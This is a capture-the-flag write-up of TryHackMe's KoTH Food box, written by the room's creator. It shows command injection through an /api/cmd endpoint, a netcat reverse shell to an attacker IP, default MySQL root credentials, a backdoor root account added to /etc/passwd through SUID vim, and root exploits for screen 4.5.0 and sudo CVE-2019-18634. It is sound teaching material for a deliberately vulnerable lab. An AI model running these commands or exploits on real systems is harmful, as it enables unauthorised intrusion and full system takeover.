THM - KoTH Food CTF
Check it out at TryHackMe KoTH Food CTF
Room created by me, TryHackMe profile
One of the first five KoTH boxes, foodCTF was the first challenge that I created for TryHackMe. This writeup is for the patched version, as the initial version had some small issues.
Enumeration
An initial nmap scan reveals several open ports, however with ctf style boxes it's always worth scanning all ports to see
root@ninja:~# nmap -sV 10.10.149.17
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 20:20 BST
Nmap scan report for 10.10.149.17
Host is up (0.026s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp open mysql MySQL 5.7.29-0ubuntu0.18.04.1
9999/tcp open abyss?
1 service unrecognized despite returning data.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.70 seconds
From the initial nmap scan, we only see 3 services.
The service running on 9999 is part of the infrastructure for king of the hill, and therefore not an attack vector.
SSH is off limits, as we don't have creds. This just leaves MySQL. We'll come back to this.
Running a full nmap scan, with the -p-
, we see a few more ports open
root@ninja:~# nmap -sV 10.10.149.17 -p-
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 20:59 BST
Nmap scan report for 10.10.149.17
Host is up (0.033s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp open mysql MySQL 5.7.29-0ubuntu0.18.04.1
9999/tcp open abyss?
15065/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
16109/tcp open unknown
46969/tcp open telnet Linux telnetd
2 services unrecognized despite returning data.
Initial Access
The HTTP server seems quite interesting, we'll check this out first. Navigating to the page, we're greeted with a message saying that the page is down. As hackers, we should never take this at face value. Time to break out gobuster and see if we can find anything else on that server.
root@ninja:~# gobuster dir -u http://10.10.149.17:15065/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.149.17:15065/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/05/02 21:20:53 Starting gobuster
===============================================================
/monitor (Status: 301)
===============================================================
2020/05/02 21:21:30 Finished
===============================================================
So on /monitor, we see a slightly more polished GUI. From a few other challenges, "Ping host" can often be a route for command injection. Let's try chaining commands in the text box.
Aww, it's not going to let us in that easily. It's trying to validate the IP address we enter somewhere. Let's check out what it's doing behind the scenes by reading the JS.
The JS is obfuscated, and I don't fancy deobfuscating it. So let's see what it's actually doing if we put in a valid IP address. Opening the browser dev tools, we can track the HTTP requests that the page makes
Interesting, we can see a POST request to /api/cmd with the body: "ping -c 4 10.8.0.1". That implies that the command is being formed clientside, let's try running our own commands with cURL!
root@ninja:~# curl 10.10.149.17:15065/api/cmd -X POST -d "ls -lah"
total 7.8M
drwxr-xr-x 6 bread bread 4.0K Apr 6 20:21 .
drwxr-xr-x 7 root root 4.0K Mar 28 01:49 ..
-rw------- 1 bread bread 5 Apr 6 20:21 .bash_history
-rw-r--r-- 1 bread bread 220 Mar 20 23:34 .bash_logout
-rw-r--r-- 1 bread bread 3.7K Mar 20 23:34 .bashrc
drwx------ 2 bread bread 4.0K Mar 20 23:42 .cache
----r--r-- 1 bread bread 38 Mar 28 01:24 flag
drwx------ 3 bread bread 4.0K Mar 20 23:42 .gnupg
drwxrwxr-x 3 bread bread 4.0K Mar 20 23:48 .local
-rwxrwxr-x 1 bread bread 7.7M Apr 6 17:58 main
-rw-rw-r-- 1 bread bread 1.5K Apr 6 17:58 main.go
-rw-r--r-- 1 bread bread 825 Mar 28 00:56 .profile
drwxrwxr-x 3 bread bread 4.0K Apr 6 20:18 resources
We have command injection, nice. Let's spawn a quick revshell to get slightly better access to the box.
root@ninja:~# curl 10.10.149.17:15065/api/cmd -X POST -d 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.8.6.110 4242 >/tmp/f'
root@ninja:~# nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.8.6.110] from (UNKNOWN) [10.10.149.17] 50316
bash: cannot set terminal process group (703): Inappropriate ioctl for device
bash: no job control in this shell
bread@foodctf:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
bread@foodctf:~$
This is a KoTH box. We shouldn't stop at one entry point. Let's explore MySQL next. I wonder if the default creds (root:root for old versions) will work for it...
root@ninja:~# mysql -h 10.10.149.17 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Time to manually enumerate the databases and tables. Knowing how to do this is quite useful
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| users |
+--------------------+
MySQL [(none)]> use users;
Database changed
MySQL [users]> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| User |
+-----------------+
MySQL [users]> select * from User;
+----------+---------------------------------------+
| username | password |
+----------+---------------------------------------+
| ramen | PASSWORD REDACTED |
| flag | FLAG REDACTED |
+----------+---------------------------------------+
Now we have creds, let's try them for SSH.
root@ninja:~# ssh ramen@10.10.149.17
ramen@10.10.149.17's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
ramen@foodctf:~$ sudo -l
[sudo] password for ramen: ***************
Sorry, user ramen may not run sudo on foodctf.
We're in!. Now enumerating permissions randomly, we notice that we get asterisks when entering our password for sudo. This isn't standard behaviour on Ubuntu. We'll come back to this.
We're running out of ports to look at. Let's try the one that's next up numerically, 16109. Nmap had no idea for this one, so let's try netcatting it. Netcat is a great way to interact with services at a lower level, skipping browsers and clients.
root@ninja:~# nc 10.10.149.17 16109
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close
400 Bad Request
So it's a webserver. Let's try curl and see what that does.
root@ninja:~# curl 10.10.149.17:16109
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: " to save to a file.
root@ninja:~# curl 10.10.149.17:16109 --output file16109
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 372k 0 372k 0 0 2758k 0 --:--:-- --:--:-- --:--:-- 2758k
root@ninja:~# file file16109
file16109: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1350x900, components 3
Seeing as we got a warning that it was binary data, we can assume it's serving something interesting. The "file" command tells us it's JPG data. Let's look at the image and see if that helps.
Well, it's a picture of some nice looking food. Not really what you'd expect in a CTF. Maybe there's more to it? Let's run binwalk and then stegoveritas and see.
Binwalk found some Gzip data at the end, interesting. Let's check that out first.
#root@ninja:~# binwalk -e 16109.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
381172 0x5D0F4 gzip compressed data, from Unix, last modified: 2020-03-19 23:53:20
root@ninja:~# cd _16109.jpg.extracted/
root@ninja:~/_16109.jpg.extracted# binwalk -e 5D0F4.gz
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 POSIX tar archive (GNU), owner user name: "t"
root@ninja:~/_16109.jpg.extracted# cd _5D0F4.gz.extracted/
root@ninja:~/_16109.jpg.extracted/_5D0F4.gz.extracted# ls
0.tar creds.txt
root@ninja:~/_16109.jpg.extracted/_5D0F4.gz.extracted# cat creds.txt
pasta:REDACTED
More creds!
In the background, stegoveritas found some steghidden data. We should check that out.
root@ninja:~# cd results/
root@ninja:~/results# file steghide_690338949d3501d285a8ea4500db1147.bin
steghide_690338949d3501d285a8ea4500db1147.bin: ASCII text
root@ninja:~/results# cat steghide_690338949d3501d285a8ea4500db1147.bin
pasta:REDACTED
Same creds again. I guess the creator wanted to make sure people could find them even if they didn't know steg.
I guess we should test those creds then, via SSH.
root@ninja:~/results# ssh pasta@10.10.149.17
pasta@10.10.149.17's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
pasta@foodctf:~$ sudo -l
[sudo] password for pasta:
Sorry, user pasta may not run sudo on foodctf.
Still no sudo, but we have another method of access.
I wonder what that last port has to offer. Nmap picked it up as telnet, so let's try telnetting into it.
root@ninja:~/results# telnet 10.10.149.17 46969
Trying 10.10.149.17...
Connected to 10.10.149.17.
Escape character is '^]'.
tccr:uwjsasqccywsg
foodctf login:
That's a fairly strange greeting. I wonder if it's ROT13 encoded? Nope. But maybe it's a different rotation? Playing around until you find something that looks about right, we get even more creds! (food:PASSWORD REDACTED)
PrivEsc(s)
With all of the ports explored, I think we need to try and get a root shell. None of the users so far had sudo, so let's look for other vectors. A really excellent resource for this is available here PayloadsAllTheThings Linux Privilege Escalation. First, SUID binaries.
pasta@foodctf:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/vim.basic
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/screen-4.5.0
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/telnetlogin
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/snap/core/7270/bin/mount
/snap/core/7270/bin/ping
/snap/core/7270/bin/ping6
/snap/core/7270/bin/su
/snap/core/7270/bin/umount
/snap/core/7270/usr/bin/chfn
/snap/core/7270/usr/bin/chsh
/snap/core/7270/usr/bin/gpasswd
/snap/core/7270/usr/bin/newgrp
/snap/core/7270/usr/bin/passwd
/snap/core/7270/usr/bin/sudo
/snap/core/7270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7270/usr/lib/openssh/ssh-keysign
/snap/core/7270/usr/lib/snapd/snap-confine
/snap/core/7270/usr/sbin/pppd
/snap/core/8689/bin/mount
/snap/core/8689/bin/ping
/snap/core/8689/bin/ping6
/snap/core/8689/bin/su
/snap/core/8689/bin/umount
/snap/core/8689/usr/bin/chfn
/snap/core/8689/usr/bin/chsh
/snap/core/8689/usr/bin/gpasswd
/snap/core/8689/usr/bin/newgrp
/snap/core/8689/usr/bin/passwd
/snap/core/8689/usr/bin/sudo
/snap/core/8689/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8689/usr/lib/openssh/ssh-keysign
/snap/core/8689/usr/lib/snapd/snap-confine
/snap/core/8689/usr/sbin/pppd
We have some unusual SUID binaries there. "/usr/bin/screen-4.5.0" implies that it was installed manually rather than with apt. "/usr/bin/vim.basic" is also probably interesting. Searching exploitdb, we find https://www.exploit-db.com/exploits/41154 so let's download and transfer this and run it.
pasta@foodctf:~$ nano 41154.sh
pasta@foodctf:~$ chmod +x 41154.sh
pasta@foodctf:~$ ./41154.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’; did you mean ‘chroot’? [-Wimplicit-function-declaration]
chmod("/tmp/rootshell", 04755);
^~~~~
chroot
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
setuid(0);
^~~~~~
setbuf
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
setgid(0);
^~~~~~
setbuf
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
seteuid(0);
^~~~~~~
setbuf
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
setegid(0);
^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
execvp("/bin/sh", NULL, NULL);
^~~~~~
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-pasta.
# whoami
root
Now, vim. Spawning a shell from Vim doesn't give us a root shell, even though Vim is running as root. So let's try something slightly different. Let's make a backdoor user.
pasta@foodctf:~$ vim /etc/passwd
pasta@foodctf:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
tryhackme:x:1000:1000:thm:/home/tryhackme:/bin/bash
telnetd:x:111:113::/nonexistent:/usr/sbin/nologin
food:x:1001:1001:,,,:/home/food:/bin/bash
mysql:x:112:114:MySQL Server,,,:/nonexistent:/bin/false
pasta:x:1002:1002:,,,:/home/pasta:/bin/bash
ramen:x:1003:1003:,,,:/home/ramen:/bin/bash
bread:x:1004:1004:,,,:/home/bread:/bin/bash
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
pasta@foodctf:~$ su hacker
Password:
root@foodctf:/home/pasta#
One more privesc. We noticed earlier that we got asterisks when entering our password for Sudo. There was a recent CVE (2019-18634) that affects sudo when this option is configured. The option is called PWFEEDBACK, and an exploit PoC is available here Github saleemrashid - Sudo CVE-2019-18634
Let's compile this from Kali and copy over the binary, then run it!
root@ninja:~/Documents# git clone 'https://github.com/saleemrashid/sudo-cve-2019-18634'
Cloning into 'sudo-cve-2019-18634'...
Unpacking objects: 100% (24/24), done.
root@ninja:~/Documents# cd sudo-cve-2019-18634/
root@ninja:~/Documents/sudo-cve-2019-18634# ls
exploit.c LICENSE Makefile README.md
root@ninja:~/Documents/sudo-cve-2019-18634# make
cc -Os -g3 -std=c99 -Wall -Wextra -Wpedantic -static -o exploit exploit.c
root@ninja:~/Documents/sudo-cve-2019-18634# ls
exploit exploit.c LICENSE Makefile README.md
root@ninja:~/Documents/sudo-cve-2019-18634# scp /root/Documents/sudo-cve-2019-18634/exploit pasta@10.10.149.17:/home/pasta/exploit
pasta@10.10.149.17's password:
exploit 100% 881KB 805.9KB/s 00:01
root@ninja:~/Documents/sudo-cve-2019-18634# ssh pasta@10.10.149.17
pasta@10.10.149.17's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
pasta@foodctf:~$ ls
41154.sh exploit
pasta@foodctf:~$ chmod +x exploit
pasta@foodctf:~$ ./exploit
[sudo] password for pasta:
Sorry, try again.
# whoami
root
This exploit works even for users that can't run any commands with sudo, which makes it one of my favourites. You get a root shell, because the "sudo" binary runs as root due to suid.
That's all you need, other than finding the flags. I won't reveal the locations of those, that's down to you to find. Hope you've enjoyed, or at least learnt something.